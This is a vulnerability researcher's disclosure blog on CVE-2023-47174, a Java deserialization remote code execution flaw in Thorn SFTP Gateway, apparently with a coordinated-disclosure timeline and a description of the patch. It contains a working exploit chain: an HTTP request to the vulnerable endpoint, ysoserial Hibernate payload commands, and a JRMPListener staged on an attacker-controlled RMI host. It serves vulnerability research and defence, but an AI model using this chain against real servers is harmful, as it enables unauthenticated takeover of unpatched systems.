Overview

In an effort to safeguard our customers, we perform proactive vulnerability research with the goal of identifying zero-day vulnerabilities that are likely to impact the security of leading organizations.  The recent vulnerabilities in GoAnywhere and MoveIT inspired us to take a look at Thorn SFTP Gateway, which is a solution that provides managed access to cloud storage. The application is implemented in Java and can be deployed through prebuilt images in Azure, AWS, and GCP.

We discovered a Java deserialization vulnerability that led to unauthenticated remote code execution in the Thorn SFTP Gateway Admin portal (CVE-2023-47174). We will discuss reviewing the code to find the vulnerability, the steps to exploit it through ysoserial and hosting a Java RMI payload, and finally Thorn Tech’s remediation steps. We’d like to note that Thorn Tech was extremely responsive and completed the patch only a few days after we initially contacted them.

Code Review and Vulnerability Overview

The Thorn SFTP Gateway provides the option for configuring an OAuth2 (https://auth0.com/intro-to-iam/what-is-oauth-2) integration. Within that HttpCookieOAuth2AuthorizationRequestRepository class, the  private method `deserialize` uses Spring’s SerializationUtils https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/util/SerializationUtils.html to deserialize an input string into an OAuth2AuthorizationRequest object. The Spring SerializationUtils documentation states,  “WARNING: These utilities should be used with caution. See Secure Coding Guidelines for the Java Programming Language for details.”

Figure 1: The vulnerable deserialize method.

The Spring documentation provides the warning with the utility due to its implementation, which creates an ObjectInputStream and calls `.readObject()` to perform Java deserialization, as Figure 2 shows.

Figure 2: Serialization Utils deserialize source code, note the .readObject() call

If an attacker can control the input stream the resulting situation is a textbook case of a Java deserialization vulnerability. For more information about Java deserialization attacks, refer to these excellent resources:

Having identified the potential deserialization vulnerability, our next step was determining whether or not that specific method is reachable with attacker controlled input from an unauthenticated perspective.

The only instance of that `deserialize` method occurs in the public `loadAuthorizationRequest` method within the same class. From review, the code obtains the value of the `oauth2_authorization_request` cookie and then invokes the .deserialize() method on its contents (see Figure 3).

Figure 3: The loadAuthorizationRequest Method in the HttpCookieOAuth2AuthorizationRequestRepository class

The `loadAuthorizationRequest` method is invoked on the `onAuthenticationFailure` handler in the `OidcAuthenticationFailureHandler` class, as in Figure 4.

Figure 4: The onAuthenticationFailure Handler

In the oidcClientRegistrations method, we can see the API endpoint `/login/oauth2/code/{registrationId}`. Sending a GET request to that endpoint will trigger the failure handler and deserialize the provided cookie data (see Figure 5). It took some trial and error to find this routing, as it wasn’t immediately obvious from the code. But the matched oidc terms stood out, and after setting a breakpoint at the onAuthenticationFailure handler we confirmed that it routes the cookie input to the deserialize method. This step requires an attacker to prepend a prefix (/backend) to the API endpoint for it to route correctly.

Figure 5: The API endpoint registered for oidcClientRegistration

The following HTTP request will trigger the onAuthenticationFailure Handler:

GET /backend/login/oauth2/code/12351235 HTTP/2

Host: 35.231.22.173

Sec-Ch-Ua:

Sec-Ch-Ua-Mobile: ?0

Sec-Ch-Ua-Platform: ""

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.110 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Sec-Fetch-Site: none

Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1

Sec-Fetch-Dest: document

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9

Cookie: oauth2_authorization_request=DATA HERE

Exploiting the vulnerability

Other blogs thoroughly cover the necessary steps for exploiting a Java deserialization vulnerability. One of my favorites is the PortSwigger series. In essence, the steps are roughly as follows:

  1. Review the included libraries of the project and the Java version in use, and match them up with the available ysoserial gadgets.
  2. If there is a match (ysoserial payload), generate the payload and send it.
  3. If there is not a match, check the included libraries a second time.
  4. If there is not a match a second time, and you really need to exploit it, you need to find your own gadget.

In this case, the target server is running on Java 11, but does not include many of the libraries necessary for the ysoserial payloads. However, the target does include the Hibernate library for which there are two ysoserial payloads. Looking at the source code of ysoserial, we can see that the versions are mismatched between what is included in the target project and what is included by default in ysoserial. We’ll need to update the ysoserial dependencies to match the target software version (otherwise we will likely run into errors like a class version mismatch). Once they match, we can generate the payload appropriately.

The Hibernate1 payload runs a target command, so we can generate a payload to execute a command on the server. However, looking at the code again in Figure 6, the deserialize method expects a base64 url encoded string as input, so we need to first match the encoding.

Figure 6: The vulnerable function again, with emphasis on the input it expects.

We can generate the payload with the following command:

java -jar ysoserial.jar Hibernate1 "touch /tmp/rce"

This creates a payload of 4205 bytes. However, the maximum size allowed for a cookie is 4096 bytes. Unfortunately, this means when we send it, it never actually reaches the target method and is filtered out somewhere along the way. Rather than tracking down the code and determining if it was possible to send a cookie greater than 4096 bytes through to the function, we instead chose to use the Hibernate2 payload in ysoserial.

Java RMI Exploitation with YSOSERIAL

In `ysoserial`, a few gadget chains do not end in code execution and instead end in a call to `javax.naming.InitialContext.lookup()` (or a similar function). The following four payloads do this:

The payload documentation provides the following instructions for their use:

Arguments: - (rmi,ldap)://<attacker_server>[:<attacker_port>]/<classname>

RMI stands for “Remote Method Invocation” . Fortunately, ysoserial has the tools implemented to run a payload using RMI, so to complete the process we don’t need to dig into the actual protocol details. But from a high level, the four gadget chains we referenced above each generate a payload that reaches out to a remote server then retrieves and loads a remote Java Objec (more details can be found in the Oracle documentation). We can then use the same deserialization gadgets during this Object load process to obtain remote code execution.

The second Hibernate ysoserial payload (Hibernate2) accepts an rmi address instead of a command to execute, and it is less than the cookie size limit. So even after it is encoded, the payload fits under the max cookie limit. So we can essentially use it as a stager, to then provide the full Hibernate2 payload to the server to obtain code execution.

To do that we first need a public IP address reachable by the target. In most cases, it is easiest to spin up a cloud instance with a public IP address (“1.2.3.4” for this walkthrough). Once we have that we can generate the initial payload, as follows:

java -jar ysoserial.jar Hibernate2 “rmi://1.2.3.4/a” > payload

Then, on the server 1.2.3.4, we can run the JRMP Listener class from yososerial to host the payload for the target to retrieve. Ensure that port 1099 is open on the firewall.

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 Hibernate1 "touch /tmp/rce"

Now we can send the initial payload to the target. The hosting server will see a connection back from the target, it will serve the specified ysoserial payload, and the payload will be deserialized on the target achieving remote code execution. The Hibernate1 payload also needs to be encoded properly, which we can do using the same Java libraries that decode it, as follows:

byte[] fileContent = Files.readAllBytes(Paths.get("/Path/To/Hibernate1.payload"));

String outputData = Base64.getUrlEncoder().encodeToString(fileContent);

System.out.println(outputData);

Append the encoded object to the HTTP request as the `oauth2_authorization_request` cookie data and send the request to the server, as in Figure 7. We will see the callback on the staging server from the ysoserial JRMPListener, and then the payload runs, the shell command executes, and the file is created (see Figure 8).

Figure 7: The HTTP Request to the server to send the Hibernate2 payload.

Figure 8: The payload executed and created the rce file.

The Patch

The Thorn team was extremely responsive in resolving the issue, and a few days after we initially reached out they had patched the code. In the patch, the deserialization function is removed and the token is instead decoded as a Jwt as we see in Figure 9. The relevant fields are then extracted from the decodedToken object.

Figure 9: The patched deserialize method. 

Sending the same payload (just to verify) results in an invalid JWT parsing error, shown in Figure 10. Thorn successfully remediated the vulnerability, because they removed the .readObject() call on untrusted data.

Figure 10: The program throws an exception as expected when sending the serialized payload, so it is no longer vulnerable).

The Thorn team also posted a security advisory detailing the issue and providing remediation steps.

Conclusion

Deserialization of user input in Java is always something that is worth tracking down and reviewing during a security audit. When we review a Java application for zero-day vulnerabilities, one of our first steps is often searching for object serialization and the related methods. While nothing in this specific vulnerability was novel, it does provide a good example of how deserializing user input in Java can result in remote code execution.

Proactive vulnerability research in external applications within a client’s attack surface helps identify vulnerabilities before an attack has the chance to exploit them. Chariot, by monitoring and categorizing external assets, helps us by identifying applications that warrant further review.

Timeline

August 15th, 2023 – Initial email sent to Thorn Tech to disclose the vulnerability.

August 16th, 2023 – Thorn Tech patched the vulnerability, sent the patch to us to verify the fix, and we confirmed the update addressed the bug.

October 4th, 2023 – Thorn Tech released the updated SFTP Gateway with the fix and their advisory.